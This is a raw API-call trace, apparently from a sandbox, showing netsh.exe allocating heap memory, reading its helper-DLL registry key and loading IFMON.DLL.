	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defb50
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deff50
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def910
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defad0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def9b0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defb70
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def8d0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defa70
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def930
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def850
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defe30
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defe50
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defe70
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def950
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defc30
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deffb0
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defd50
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def970
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defd90
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.013] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defc90
	[0251.013] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deff30
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defdd0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deff90
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025deffd0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defed0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def870
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defef0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def890
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defcd0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def9d0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defb30
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def8b0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def8f0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025def9f0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defbd0
	[0251.014] GetProcessHeap () returned 0x1e025de0000
	[0251.014] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defa30
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defa10
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defa50
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defc50
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defa90
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defab0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defaf0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defb10
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defc70
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defb90
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025defcb0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0460
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df05c0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0340
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df00c0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df04e0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df06a0
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.015] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0120
	[0251.015] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df06c0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0260
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0480
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df04c0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0160
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0760
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df04a0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0400
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0200
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0560
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df02e0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0500
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0520
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df06e0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0220
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df05e0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0320
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0100
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df03a0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0300
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0700
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df03c0
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0540
	[0251.016] GetProcessHeap () returned 0x1e025de0000
	[0251.016] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0420
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df01e0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0580
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df00e0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df05a0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0240
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0360
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0600
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0780
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df03e0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0280
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0620
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0140
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0180
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df00a0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0640
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df07c0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df07a0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0660
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df02a0
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0680
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0720
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.017] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0060
	[0251.017] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df07e0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df02c0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0740
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df01a0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0080
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df01c0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0380
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0440
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0f70
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0a50
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0e90
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0e30
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0ef0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0970
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0eb0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0c30
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0870
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0bf0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0c10
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0f50
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0ed0
	[0251.018] GetProcessHeap () returned 0x1e025de0000
	[0251.018] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0fb0
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0db0
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0910
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0b10
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0ad0
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0e50
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0d70
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0a70
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0f10
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0df0
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0c50
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0c70
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0890
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0f30
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025df0a90
	[0251.019] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5
	[0251.019] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x28) returned 0x1e025de8770
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2) returned 0x1e025dedb70
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x14) returned 0x1e025df0fd0
	[0251.019] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE"
	[0251.019] GetProcessHeap () returned 0x1e025de0000
	[0251.019] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0251.020] GetProcessHeap () returned 0x1e025de0000
	[0251.020] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x58) returned 0x1e025de56b0
	[0251.020] GetProcessHeap () returned 0x1e025de0000
	[0251.020] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0251.020] GetProcessHeap () returned 0x1e025de0000
	[0251.020] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xb0) returned 0x1e025de5030
	[0251.020] GetProcessHeap () returned 0x1e025de0000
	[0251.020] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de56b0) returned 1
	[0251.020] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff85f180000
	[0251.137] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x2117779f8 | out: phkResult=0x2117779f8*=0xb4) returned 0x0
	[0251.138] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x211777a30, lpcbMaxValueNameLen=0x211777a40, lpcbMaxValueLen=0x211777a38, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x211777a30*=0x14, lpcbMaxValueNameLen=0x211777a40, lpcbMaxValueLen=0x211777a38, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x8, Size=0x16) returned 0x1e025df0dd0
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x8, Size=0x23) returned 0x1e025de8890
	[0251.138] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="2", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.138] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10
	[0251.138] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x50) returned 0x1e025df1680
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4) returned 0x1e025dedae0
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x14) returned 0x1e025df0c90
	[0251.138] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL"
	[0251.138] GetProcessHeap () returned 0x1e025de0000
	[0251.138] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de8770) returned 1
	[0251.138] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8549a0000
	[0251.149] GetProcAddress (hModule=0x7ff8549a0000, lpProcName="InitHelperDll") returned 0x7ff8549a1310
	[0251.149] InitHelperDll () returned 0x0
	[0251.152] RegisterHelper () returned 0x0
	[0251.152] GetProcessHeap () returned 0x1e025de0000
	[0251.152] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x108) returned 0x1e025de42e0
	[0251.152] GetProcessHeap () returned 0x1e025de0000
	[0251.152] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de5030) returned 1
	[0251.156] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="4", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.156] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9
	[0251.156] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9
	[0251.156] GetProcessHeap () returned 0x1e025de0000
